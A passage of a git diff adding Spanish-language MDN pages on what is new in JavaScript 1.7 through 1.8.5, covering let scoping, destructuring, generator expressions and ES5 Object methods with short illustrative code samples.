+<p>La palabra clave <code>let</code> puede además ser usada para definir variables, constantes y funciones dentro de un bloque.</p>
+
+<pre> ** Este código no funciona en FF 2.0 b1. **
+if (x &gt; y)
+{
+   let const k = 37;
+   let gamma : int = 12.7 + k;
+   let i = 10;
+   let function f(n) { return (n/3)+k; }
+   return f(gamma) + f(i);
+}
+</pre>
+
+<h4 id="Reglas_de_.C3.A1mbito_4" name="Reglas_de_.C3.A1mbito_4">Reglas de ámbito</h4>
+
+<p>Las variables, funciones y constantes declaradas usando <code>let</code>, <code>let function</code> y <code>let const</code> tienen como ámbito el bloque en el que están definidas, además de cualquier sub-bloque en el que no sean redefinidas. De este modo, <code>let</code> funciona como <code>var</code>.</p>
+
+<p>En los programas y clases, <code>let</code> no crea propiedades en los objetos y clases globales como hace <code>var</code>. En vez de eso, crea propiedades en un bloque implícito creado para la evaluación de sentencias en dichos contextos. Esto significa esencialmente que <code>let</code> no sobreescribirá las variables previamente definidas usando <code>var</code>. Por ejemplo:</p>
+
+<pre>** No funciona en FF 2.0 b1. Devuelve "42", no "global".
+var x = 'global';
+let x = 42;
+document.write(this.x + "&lt;BR&gt;\n");
+</pre>
+
+<p>La salida mostrada por este código será "global", no "42".</p>
+
+<p>Un
+ <i>bloque implícito</i>
+ es aquel que no está comprendido entre llaves; es creado implícitamente por el motor de JavaScript.</p>
+
+<p>En las funciones, una sentencia <code>let</code> ejecutada dentro de <code>eval()</code> no crea propiedades en el objeto variable <span class="comment">Esto hay que traducirlo: (activation object or innermost binding rib)</span> como sí hace <code>var</code>. En vez de eso, lo hace en un bloque creado implícitamente para la evaluación de las sentencias del programa. Esto es consecuencia de la forma de trabajar de <code>eval()</code> unido a la anterior regla.</p>
+
+<p>En otras palabras, cuando se usa <code>eval()</code> para ejecutar código, dicho código es es tratado como un programa independiente el cual tiene su propio bloque implícito alrededor de su código.</p>
+
+<h3 id=".C3.81mbito_de_variables_con_let_en_bucles_for" name=".C3.81mbito_de_variables_con_let_en_bucles_for">Ámbito de variables con <code>let</code> en bucles <code>for</code></h3>
+
+<p>Se puede usar la palabra reservada <code>let</code> para declarar variables localmente en el ámbito de un bucle <code>for</code>, al igual que con <code>var</code>.</p>
+
+<pre>** Add obj **
+   var i=0;
+   for ( let i=i ; i &lt; 10 ; i++ )
+     document.write(i + "&lt;BR&gt;\n");
+
+   for ( let [name,value] in obj )
+     document.write("Name: " + name + ", Value: " + value + "&lt;BR&gt;\n");
+</pre>
+
+<h4 id="Reglas_de_.C3.A1mbito_5" name="Reglas_de_.C3.A1mbito_5">Reglas de ámbito</h4>
+
+<pre class="eval">for (let <var>expr1</var>; <var>expr2</var>; <var>expr3</var>) <var>sentencia</var>
+</pre>
+
+<p>En este ejemplo, <var>expr2</var>, <var>expr3</var> y <var>sentencia</var> están delimitadas por un bloque implícito que contiene a las variables locales al bloque declaradas por <code>let <var>expr1</var></code>. Esto se demuestra en el primer bucle del ejemplo.</p>
+
+<pre class="eval">for (<var>expr1</var> in <var>expr2</var>) <var>sentencia</var>
+</pre>
+
+<p>En este caso, existe un bloque implícito que contiene a <var>sentencia</var>. Esto es mostrado en el segundo bucle del ejemplo.</p>
+
+<h2 id="Asignaci.C3.B3n_desestructurada" name="Asignaci.C3.B3n_desestructurada">Asignación desestructurada</h2>
+
+<p>La asignación desestructurada hace posible extraer datos desde arrays u objetos utilizando una sintaxis que refleja la construcción de arrays y objetos literales.</p>
+
+<p>Las expresiones de objetos y arrays literales proporcionan una forma fácil de crear paquetes de datos ad hoc. Una vez creados estos paquetes de datos, pueden ser usados como se quiera. Se pueden devolver incluso desde funciones.</p>
+
+<p>Una peculiaridad especialmente útil que se puede hacer con la asignación desestructurada es leer una estructura completa desde una única sentencia aunque hay un número de cosas interesantes que se pueden hacer con ella, como muestra la siguiente sección repleta de ejemplos.</p>
+
+<p>Esta capacidad es similar a las características que presentan lenguajes tales como Perl o Python.</p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>La asignación desestructurada se explica mejor con ejemplos por lo que aquí se muestran un par de ellos con fines didáctico.</p>
+
+<div class="note"><b>Nota:</b> Si tienes ejemplos más interesantes con formas de utilizar la asignación desestructurada, por favor, anímate a añadirlos a esta sección.</div>
+
+<h4 id="Intercambiando_valores" name="Intercambiando_valores">Intercambiando valores</h4>
+
+<p>Se puede usar la asignación desestructurada para, por ejemplo, intercambiar valores:</p>
+
+<pre>var a = 1;
+var b = 3;
+
+[a, b] = [b, a];
+</pre>
+
+<p>Tras ejecutar este código, <var>b</var> valdrá 1 y <var>a</var> valdrá 3.</p>
+
+<p>O para rotar valores: (formato de código pobre)</p>
+
+<pre>&lt;body bgcolor = "black"&gt;
+
+&lt;script type="application/javascript;version=1.7"/&gt;
+
+var a = 'o';
+var b = "&lt;font color = 'green'&gt;o&lt;/font&gt;";
+var c = 'o';
+var d = 'o';
+var e = 'o';
+var f = "&lt;font color = 'blue'&gt;o&lt;/font&gt;";
+var g = 'o';
+var h = 'o';
+
+for (lp=0;lp&lt;40;lp++)
+	{[a, b, c, d, e, f, g, h] = [b, c, d, e, f, g, h, a];
+	 document.write(a+''+b+''+c+''+d+''+e+''+f+''+g+''+h+''+"&lt;br /&gt;");}
+&lt;/script&gt;
+</pre>
+
+<p>Después de ejecutar este código, se mostrará un espectáculo de colores gracias a la rotación de las variables.</p>
+
+<h4 id="Devolviendo_m.C3.BAltiples_valores" name="Devolviendo_m.C3.BAltiples_valores">Devolviendo múltiples valores</h4>
+
+<p>Gracias a la asignación desestructurada, las funciones pueden devolver múltiples valores. Dado que las funciones siempre han podido devolver funciones, ésto proporciona una vuelta de tuerca a la flexibilidad.</p>
+
+<pre>function f() {
+  return [1, 2];
+}
+</pre>
+
+<p>Como se puede observar, los resultados se devuelven usando una notación parecida a la utilizada con los arrays, con los valores que se quieren devolver encerrados entre corchetes. Así, se puede devolver un número cualquiera de resultados. En el siguiente ejemplo, <code>f()</code> devuelve el valor <code>{{ mediawiki.external('1, 2') }}</code>.</p>
+
+<pre>var a, b;
+[a, b] = f();
+document.write ("A es " + a + " B es " + b + "&lt;BR&gt;\n");
+</pre>
+
+<p>El comando <code>{{ mediawiki.external('a, b') }} = f()</code> asigna el resultado de la función a las variables ubicadas por orden entre corchetes: <var>a</var> queda establecido a 1 y <var>b</var> a 2.</p>
+
+<p>También se pueden obtener los valores devueltos como un array:</p>
+
+<pre>var a = f();
+document.write ("A es " + a);
+</pre>
+
+<p>En este caso, <var>a</var> será un array que contendrá los valores 1 y 2.</p>
+
+<h4 id="Ignorar_ciertos_valores_devueltos" name="Ignorar_ciertos_valores_devueltos">Ignorar ciertos valores devueltos</h4>
+
+<p>Se pueden ignorar algunos valores devueltos en los que no se esté interesado:</p>
+
+<pre>function f() {
+  return [1, 2, 3];
+}
+
+var [a, , b] = f();
+document.write ("A is " + a + " B is " + b + "&lt;BR&gt;\n");
+</pre>
+
+<p>Tras ejecutar este código, <var>a</var> valdrá 1 y <var>b</var>, 3. El valor 2 es ignorado.</p>
+
+<h4 id="Iteraci.C3.B3n_sobre_objetos" name="Iteraci.C3.B3n_sobre_objetos">Iteración sobre objetos</h4>
+
+<p>Se puede usar asignación desestructurada para recuperar datos de un objeto.</p>
+
+<pre>var obj = { nombre: "Bob", puntos: 1.5, edad: 35 };
+
+for (let[nombre, valor] in obj) {
+  document.write ("Nombre: " + nombre + ", Valor: " + valor + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>Este bucle recorre todos los pares clave/valor del objeto <var>obj</var> y muestra sus nombres y valores. En este caso, la salida será algo así:</p>
+
+<pre>Nombre: nombre, Valor: Bob
+Nombre: puntos, Valor: 1.5
+Nombre: edad, Valor: 35
+</pre>
+
+<h4 id="Iteraci.C3.B3n_sobre_valores_en_arrays_de_objetos" name="Iteraci.C3.B3n_sobre_valores_en_arrays_de_objetos">Iteración sobre valores en arrays de objetos</h4>
+
+<p>Se puede iterar un array de objetos, accediendo a los campos que interesen de cada objeto.</p>
+
+<pre>var personas  = [
+  {
+    nombre: "Mike Smith",
+    familia: {
+      madre: "Jane Smith",
+      padre: "Harry Smith",
+      hermana: "Samantha Smith"
+    },
+    edad: 35
+  },
+  {
+    nombre: "Tom Jones",
+    familia: {
+      madre: "Norah Jones",
+      padre: "Richard Jones",
+      hermano: "Howard Jones"
+    },
+    edad: 25
+  }
+];
+
+for each (let {nombre: n, familia: { padre: f } } in personas) {
+  document.write ("Nombre: " + n + ", Padre: " + f + "&lt;BR&gt;\n");
+}
+</pre>
+
+<p>Esto copia el valor del campo <var>nombre</var> a <var>n</var> y el del campo <var>familia.padre</var> a <var>f</var> y luego los muestra por pantalla. Esto se hace para cada objeto del array <var>personas</var>. La salida será algo así:</p>
+
+<pre>Nombre: Mike Smith, Padre: Harry Smith
+Nombre: Tom Jones, Padre: Richard Jones
+</pre>
+
+<p><span class="comment">Categorías</span> <span class="comment">enlaces interwikis</span></p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/New_in_JavaScript_1.7", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.7", "it": "it/Novit\u00e0_in_JavaScript_1.7", "ja": "ja/New_in_JavaScript_1.7", "pl": "pl/Nowo\u015bci_w_JavaScript_1.7", "zh-tw": "zh_tw/JavaScript_1.7_\u65b0\u9bae\u4e8b" } ) }}</p>
diff --git a/files/es/web/javascript/novedades_en_javascript/1.8.1/index.html b/files/es/web/javascript/novedades_en_javascript/1.8.1/index.html
new file mode 100644
index 0000000000..7cd586c2cb
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/1.8.1/index.html
@@ -0,0 +1,30 @@
+---
+title: Nuevo en JavaScript 1.8.1
+slug: Web/JavaScript/Novedades_en_JavaScript/1.8.1
+tags:
+  - Firefox 3.5
+  - JavaScript
+  - Versiones
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.1
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>El siguiente es un registro de cambios para JavaScript 1.8.1. Esta versión fue incluida en <a href="/es/Firefox/Releases/3.5">Firefox 3.5</a>.</p>
+
+<p>JavaScript 1.8.1 es una actualización modesta sintácticamente a JavaScript; El principal cambio en esta versión es la adición del compilador <a href="/es/docs/SpiderMonkey/Internals/Tracing_JIT">Tracemonkey Just-In-Time</a>, que mejora el rendimiento.</p>
+
+<h2 id="Nuevas_características_en_JavaScript_1.8.1">Nuevas características en  JavaScript 1.8.1</h2>
+
+<ul>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li><a href="/es/docs/Web/JavaScript/Guide/Using_native_JSON">Soporte para JSON nativo</a></li>
+ <li>{{jsxref("String.prototype.trim()")}}</li>
+ <li>{{jsxref("String.prototype.trimLeft()")}}</li>
+ <li>{{jsxref("String.prototype.trimRight()")}}</li>
+</ul>
+
+<h2 id="Funcionalidad_modificada_en_JavaScript_1.8.1">Funcionalidad modificada en JavaScript 1.8.1</h2>
+
+<ul>
+ <li>La configuración implícita de propiedades en los inicializadores de objeto y matriz ya no ejecuta setters en JavaScript. Esto hace que el comportamiento de establecer los valores de las propiedades sea más predecible.</li>
+</ul>
diff --git a/files/es/web/javascript/novedades_en_javascript/1.8.5/index.html b/files/es/web/javascript/novedades_en_javascript/1.8.5/index.html
new file mode 100644
index 0000000000..57761b2971
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/1.8.5/index.html
@@ -0,0 +1,151 @@
+---
+title: Novedades en JavaScript 1.8.5
+slug: Web/JavaScript/Novedades_en_JavaScript/1.8.5
+tags:
+  - ECMAScript5
+  - Firefox 4
+  - JavaScript
+  - JavaScript 1.8.5
+  - JavaScript_version_overviews
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.5
+---
+<p>{{jsSidebar("New_in_JS")}}JavaScript 1.8.5 es una versión de JavaScript incluida en Firefox 4.</p>
+
+<h2 id="Nuevas_Funciones">Nuevas Funciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Function</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a class="internal" href="/en/JavaScript/Reference/Global_Objects/Object/create" title="En/Core JavaScript 1.5
+            Reference/Global Objects/Object/Create">Object.create</a></code></td>
+   <td>Crea un nuevo objeto con el objeto prototype especificado y sus propiedades. {{ bug("492840") }}</td>
+  </tr>
+  <tr>
+   <td><code><a class="internal" href="/en/JavaScript/Reference/Global_Objects/Object/defineProperty" title="En/Core JavaScript 1.5 Reference/Global
+            Objects/Object/DefineProperty">Object.defineProperty</a></code></td>
+   <td>Añade la propiedad nombrada descrita por un descriptor dado a un objeto.</td>
+  </tr>
+  <tr>
+   <td><code><a class="internal" href="/en/JavaScript/Reference/Global_Objects/Object/defineProperties" title="En/Core JavaScript 1.5 Reference/Global
+            Objects/Object/DefineProperties">Object.defineProperties</a></code></td>
+   <td>Añade las propiedades descritas por los descriptores dados a un objeto.</td>
+  </tr>
+  <tr>
+   <td><code><a class="internal" href="/en/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor" title="En/Core JavaScript 1.5 Reference/Global
+            Objects/Object/GetOwnPropertyDescriptor">Object.getOwnPropertyDescriptor</a></code></td>
+   <td>Devuelve una propiedad del descriptor para una propiedad nombrada en un objeto. {{ bug("505587") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Object/keys" title="en/Core JavaScript
+            1.5 Reference/Global Objects/Object/keys"><code>Object.keys</code></a></td>
+   <td>Devuelve un vector de todas las propiedades enumerables de un objeto.{{ bug("307791") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames" title="en/Core
+            JavaScript 1.5 Reference/Global Objects/Object/getOwnPropertyNames"><code>Object.getOwnPropertyNames </code></a></td>
+   <td>Devuelve un vector de todas las propiedades enumerables y no-enumerables de un objeto. {{ bug("518663") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Object/preventExtensions" title="en/Core
+            JavaScript 1.5 Reference/Global Objects/Object/preventExtensions"><code>Object.preventExtensions</code></a></td>
+   <td>Evita cualquier extensión de un objeto. {{ bug("492849") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Object/isExtensible" title="en/Core
+            JavaScript 1.5 Reference/Global Objects/Object/isExtensible"><code>Object.isExtensible</code></a></td>
+   <td>Determina si la extensión de un objeto está permitida. {{ bug("492849") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Object/seal" title="en/Core
+            JavaScript 1.5 Reference/Global Objects/Object/seal"><code>Object.seal</code></a></td>
+   <td>Evita otro código proveniente del borrado de las propiedades de un objeto.{{ bug("492845") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Object/isSealed" title="en/Core
+            JavaScript 1.5 Reference/Global Objects/Object/isSealed"><code>Object.isSealed</code></a></td>
+   <td>Determina si un objeto está sellado. {{ bug("492845") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Object/freeze" title="en/Core
+            JavaScript 1.5 Reference/Global Objects/Object/freezed"><code>Object.freeze</code></a></td>
+   <td>Congela un objeto: otro código no puede borrar o cambiar ninguna propiedad. {{ bug("492844") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Object/isFrozen" title="en/Core
+            JavaScript 1.5 Reference/Global Objects/Object/isFrozen"><code>Object.isFrozen</code></a></td>
+   <td>Determina si un objeto ha sido congelado. {{ bug("492844") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Array/isArray" title="en/Core JavaScript
+            1.5 Reference/Global Objects/Array/isArray"><code>Array.isArray </code></a></td>
+   <td>Comprueba si una variable es un Array. {{ bug("510537") }}</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Date/toJSON" title="en/JavaScript/Reference/Global Objects/Date/toJSON"><code>Date.toJSON</code></a></td>
+   <td>Devuelve un string en formato JSON a partir de un objeto Date.</td>
+  </tr>
+  <tr>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Function/bind" title="en/JavaScript/Reference/Global_Objects/Function/bind"><code>Function.prototype.bind</code></a></td>
+   <td>Crea una nueva función que, cuando es llamada, se llama a esta función en el contexto provisto (con una secuencia de argumentos dados). {{ bug("429507") }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Nuevas_características_ECMAScript5">Nuevas características ECMAScript5</h2>
+
+<ul>
+ <li>Los operadores <code><a href="/en/JavaScript/Reference/Operators/Special/get" title="en/JavaScript/Reference/Operators/Special Operators/get Operator">get</a></code> y <code><a href="/en/JavaScript/Reference/Operators/Special/set" title="en/JavaScript/Reference/Operators/Special Operators/set Operator">set</a></code> ahora permiten al identificador ser numérico o string. {{ bug("520696") }}</li>
+ <li><a href="/en/JavaScript/Reference/Global_Objects/Function/apply" title="en/JavaScript/Reference/Global Objects/Function/apply"><code>Function.apply()</code></a> puede aceptar cualquier objeto estilo-array como lista de argumentos, en lugar de solo arrays reales.</li>
+ <li><a href="/en/JavaScript/Strict_mode" title="en/JavaScript/Strict mode">strict mode soportado</a></li>
+</ul>
+
+<h2 id="Otros_trabajos_de_estandarización">Otros trabajos de estandarización</h2>
+
+<p>Varias sintaxis no estandar para la definición de getters y setters han sido eliminadas; la sintaxis ECMAScript 5 definida no ha sido cambiada. Todas ellas fueron muy esotéricas y raramente usadas; si ello te afecta, mira <a class="external" href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/" title="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/"> este post</a> para más detalles.</p>
+
+<h2 id="Nuevos_Objetos">Nuevos Objetos</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Objeto</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Proxy" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Proxy">Proxy</a></code></td>
+   <td>Ofrece soporte para la creación de <code>Object</code> y <code>Function</code> proxy que habilitan la meta-programación en JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cambios_a_objetos_globales">Cambios a objetos globales</h2>
+
+<dl>
+ <dt>Soporte ISO 8601 en Date</dt>
+ <dd>El método <a href="/en/JavaScript/Reference/Global_Objects/Date/parse" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Date/parse"><code>parse()</code></a>&amp;nbspdel objeto <a href="/en/JavaScript/Reference/Global_Objects/Date" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Date"><code>Date</code></a> ahora soporta strings de fecha en el formato simple ISO 8601.</dd>
+ <dt>Objetos globales hechos de solo lectura</dt>
+ <dd>Los objetos <a href="/en/JavaScript/Reference/Global_Objects/NaN" title="en/JavaScript/Reference/Global Objects/NaN"><code>NaN</code></a>, <a href="/en/JavaScript/Reference/Global_Objects/Infinity" title="en/JavaScript/Reference/Global Objects/Infinity"><code>Infinity</code></a>, y <a href="/en/JavaScript/Reference/Global_Objects/undefined" title="en/JavaScript/Reference/Global Objects/undefined"><code>undefined</code></a> han sido hechos de solo lectura, por la especificación ECMAScript 5.</dd>
+</dl>
+
+<h2 id="Cambios_Adicionales">Cambios Adicionales</h2>
+
+<ul>
+ <li><a href="/en/JavaScript/Reference/Global_Objects/Object/Parent" title="en/JavaScript/Reference/Global Objects/Object/Parent"><code>obj.__parent__</code></a> y <code>obj.__count__</code> se convierten en obsoletos. Alguna información sobre el por qué: <a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/" title="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">SpiderMonkey change du jour: the special __parent__ property has been removed</a> {{ bug("551529") }} &amp; {{ bug("552560") }}</li>
+ <li>El arrastre de comas no se aceptará más en <a href="/En/Using_native_JSON" title="En/Using native JSON"><code>JSON.parse()</code></a></li>
+</ul>
+
+<h2 id="Cambios_en_el_API_JavaScript_(SpiderMonkey)">Cambios en el API JavaScript (SpiderMonkey)</h2>
+
+<div class="note"><strong>Nota:</strong>  Los Locale callbacks (como se especificó en la estrucutura <a href="/en/JSLocaleCallbacks" title="en/JSLocaleCallbacks">JSLocaleCallbacks</a>) no debe liberar la memoria del buffer que se les pasa;  este buffer se controla por la rutina SpiderMonkey.</div>
+
+<p>La función <a href="/en/SpiderMonkey/JSAPI_Reference/JS_NewString" title="en/SpiderMonkey/JSAPI Reference/JS NewString"><code>JS_NewString()</code></a> fue eliminada en SpiderMonkey 1.8.5. Use <a href="/en/SpiderMonkey/JSAPI_Reference/JS_NewStringCopyN" title="en/SpiderMonkey/JSAPI Reference/JS NewStringCopyN"><code>JS_NewStringCopyN()</code></a> en su lugar.</p>
+
+<p>{{ languages( { "en":"en/JavaScript/New_in_JavaScript/1.8.5" } ) }}</p>
diff --git a/files/es/web/javascript/novedades_en_javascript/1.8/index.html b/files/es/web/javascript/novedades_en_javascript/1.8/index.html
new file mode 100644
index 0000000000..6045185e4a
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/1.8/index.html
@@ -0,0 +1,150 @@
+---
+title: Novedades en JavaScript 1.8
+slug: Web/JavaScript/Novedades_en_JavaScript/1.8
+tags:
+  - JavaScript
+  - Todas_las_Categorías
+  - Visión_general_de_las_versiones_JavaScript
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8
+---
+<p>{{jsSidebar("New_in_JS")}}JavaScript 1.8 esta planificado para integrarse como parte de Gecko 1.9 (el cual sera incorporado en <a href="es/Firefox_3_para_desarrolladores">Firefox 3</a>). Esta es una actualización menos sustancial que la descrita en <a href="es/Novedades_en_JavaScript_1.7">JavaScript 1.7</a>, pero tiene algunas actualizaciones para comprobar el progreso hacia ECMAScript 4/JavaScript 2. Esta versión incluirá todas las nuevas características especificadas en <a href="es/Novedades_en_JavaScript_1.6">JavaScript 1.6</a> y <a href="es/Novedades_en_JavaScript_1.7">JavaScript 1.7</a>.</p>
+
+<p>Lee el {{ Bug(380236) }} para estar al día del progreso de desarrollo de JavaScript 1.8.</p>
+
+<h3 id="Usando_JavaScript_1.8" name="Usando_JavaScript_1.8">Usando JavaScript 1.8</h3>
+
+<p>Para poder usar algunas de las nuevas características de JavaScript 1.8 en el HTML, usar:</p>
+
+<pre class="eval"> &lt;script type="application/javascript;version=1.8"&gt; ... su código aquí ... &lt;/script&gt;
+</pre>
+
+<p>Cuando uses la <a href="es/Introducci%c3%b3n_al_shell_de_JavaScript">Shell de JavaScript</a>, componentes XPCOM de JavaScript, o elementos <code>&lt;script&gt;</code> XUL <code>&lt;script&gt;</code>, se usará automaticamente la última versión de JS (JS1.8 en Mozilla 1.9), lee ({{ Bug(381031) }}, {{ Bug(385159) }}).</p>
+
+<p>Las características que requieren el uso de las nuevas palabras clave "yield" y "let" requiere que especifique la versión 1.7 o mayor ya que el código existente podría usar estas palabras clave como variables o nombres de función. Las características que no introducen nuevas palabras claves (como el generador de expresiones) pueden ser usadas sin especificar la versión de JavaScript.</p>
+
+<p> </p>
+
+<h3 id="Cierres_de_Expresi.C3.B3n" name="Cierres_de_Expresi.C3.B3n">Cierres de Expresión</h3>
+
+<p>Esta adición es simplemente una manera más simplificada de escribir funciones sencillas, dándole al lenguaje algo similar al típico <a class="external" href="http://es.wikipedia.org/wiki/C%C3%A1lculo_lambda#C.C3.A1lculo_lambda_y_los_lenguajes_de_programaci.C3.B3n">cálculo Lambda</a>.</p>
+
+<p><a href="es/Novedades_en_JavaScript_1.7">JavaScript 1.7</a> y versiones anteriores:</p>
+
+<pre class="eval"> function(x) { return x * x; }
+</pre>
+
+<p>JavaScript 1.8:</p>
+
+<pre class="eval"> function(x) x * x
+</pre>
+
+<p>Esta sintaxis te permite dejar fuera las llaves y las declaraciones 'return' - haciéndolas implícitas. No hay beneficio adicional en escribir código de esta manera, sino que el único es tener un código prácticamente mas corto.</p>
+
+<p><br>
+ <strong>Ejemplos:</strong></p>
+
+<p>Una manera simplificada para vincular event listeners:</p>
+
+<pre class="eval"> document.addEventListener("click", function() false, true);
+</pre>
+
+<p>Usando esta notación con algunas de las funciones desde <a href="es/Novedades_en_JavaScript_1.6">JavaScript 1.6</a>:</p>
+
+<pre class="eval"> elems.some(function(elem) elem.type == "text");
+</pre>
+
+<p> </p>
+
+<h3 id="Generador_de_Expresiones" name="Generador_de_Expresiones">Generador de Expresiones</h3>
+
+<p>Esta adición te permite simplemente crear generadores (los cuales fueron introducidos en <a href="es/Novedades_en_JavaScript_1.7">JavaScript 1.7</a>). Típicamente debería crear una función personalizada la cual podría tener un impacto sobre esta, pero esta adición le permite usar <a href="es/Novedades_en_JavaScript_1.7#Comprensi.C3.B3n_de_arrays">sintaxis de comprensión de arrays</a> para crear una declaración de generador idéntica.</p>
+
+<p><br>
+ En <a href="es/Novedades_en_JavaScript_1.7">JavaScript 1.7</a>, podrías escribir algo como lo siguiente para crear un generador personalizado para un objeto:</p>
+
+<pre class="eval"> function add3(obj) {
+   for ( let i in obj )
+     yield i + 3;
+ }
+
+ let it = add3(someObj);
+ try {
+   while (true) {
+     document.write(it.next() + "&lt;br&gt;\n");
+   }
+ } catch (err if err instanceof StopIteration) {
+   document.write("End of record.&lt;br&gt;\n");
+ }
+</pre>
+
+<p>En JavaScript 1.8, puedes eludir esto creando una función para un generador personalizado usando una expresión del generador:</p>
+
+<pre class="eval"> let it = (i + 3 for (i in someObj));
+ try {
+   while (true) {
+     document.write(it.next() + "&lt;br&gt;\n");
+   }
+ } catch (err if err instanceof StopIteration) {
+   document.write("End of record.&lt;br&gt;\n");
+ }
+</pre>
+
+<p><br>
+ Las expresiones del generador también pueden ser pasadas, como valores, a una función. Esto es particularmente notable ya que los generadores no son ejecutados hasta que sean absolutamente necesarios (no como una situación de comprensión de arrays típica, donde los arrays son construidos antes de tiempo ). Un ejemplo de la diferencia puede verse aquí:</p>
+
+<p><br>
+ Usando JavaScript 1.7 Comprensión de Arrays</p>
+
+<pre class="eval"> handleResults([ i for ( i in obj ) if ( i &gt; 3 ) ]);
+
+ function handleResults( results ) {
+   for ( let i in results )
+     // ...
+ }
+</pre>
+
+<p>Usando JavaScript 1.8 Generador de Expresiones</p>
+
+<pre class="eval"> handleResults( i for ( i in obj ) if ( i &gt; 3 ) );
+
+ function handleResults( results ) {
+   for ( let i in results )
+     // ...
+ }
+</pre>
+
+<p><br>
+ La diferencia entre los dos ejemplos radica en que usando el generador de expresiones, solo tendría que recorrer sobre la estructura 'obj' una sola vez, en total, en lugar de una vez en la comprensión de la matriz, y de nuevo cuando ocurran iteraciones a través de la misma.</p>
+
+<h3 id="M.C3.A1s_extras_sobre_Arrays" name="M.C3.A1s_extras_sobre_Arrays">Más extras sobre Arrays</h3>
+
+<p>Existen dos nuevos métodos de iteracion <code><a href="es/Referencia_de_JavaScript_1.5/Objetos_globales/Array">Array</a></code> incluidos en JavaScript 1.8, especificamente:</p>
+
+<ul>
+ <li><code><a href="es/Referencia_de_JavaScript_1.5/Objetos_globales/Array/reduce">reduce()</a></code> - ejecuta una función en cada elemento en el array y colecciona los resultados de llamadas previas:</li>
+ <li><code><a href="es/Referencia_de_JavaScript_1.5/Objetos_globales/Array/reduceRight">reduceRight()</a></code> - ejecuta una función en cada objeto del array y colecciona los resultados de llamadas previas, pero en orden inverso.</li>
+</ul>
+
+<h3 id="Cambios_en_destructuracion_for..in" name="Cambios_en_destructuracion_for..in">Cambios en destructuracion for..in</h3>
+
+<p><a href="es/Novedades_en_JavaScript_1.7#Iteraci.C3.B3n_sobre_objetos">Novedades en JavaScript_1.7#Iteración sobre objetos</a> ({{ Bug(366941) }}).</p>
+
+<h3 id="Cambios_pr.C3.B3ximos" name="Cambios_pr.C3.B3ximos">Cambios próximos</h3>
+
+<p>Los cambios que se espera que lleguen con JavaScript 1.8 incluyen:</p>
+
+<ul>
+ <li>Codificación - Decodificacion en JSON.</li>
+ <li>Sintaxis slice</li>
+ <li>Destructuracion generalizada for...in</li>
+</ul>
+
+<h3 id="Tambi.C3.A9n_puedes_ver" name="Tambi.C3.A9n_puedes_ver">También puedes ver</h3>
+
+<p><a href="es/JavaScript">Portada JavaScript</a></p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/New_in_JavaScript_1.8", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.8", "ja": "ja/New_in_JavaScript_1.8", "ko": "ko/New_in_JavaScript_1.8", "pl": "pl/Nowo\u015bci_w_JavaScript_1.8", "pt": "pt/Novidades_no_Javascript_1.8" } ) }}</p>
diff --git a/files/es/web/javascript/novedades_en_javascript/ecmascript_5_support_in_mozilla/index.html b/files/es/web/javascript/novedades_en_javascript/ecmascript_5_support_in_mozilla/index.html
new file mode 100644
index 0000000000..c32f0ecd34
--- /dev/null
+++ b/files/es/web/javascript/novedades_en_javascript/ecmascript_5_support_in_mozilla/index.html
@@ -0,0 +1,41 @@
+---
+title: ECMAScript 5 support in Mozilla
+slug: Web/JavaScript/Novedades_en_JavaScript/ECMAScript_5_support_in_Mozilla
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla
+---
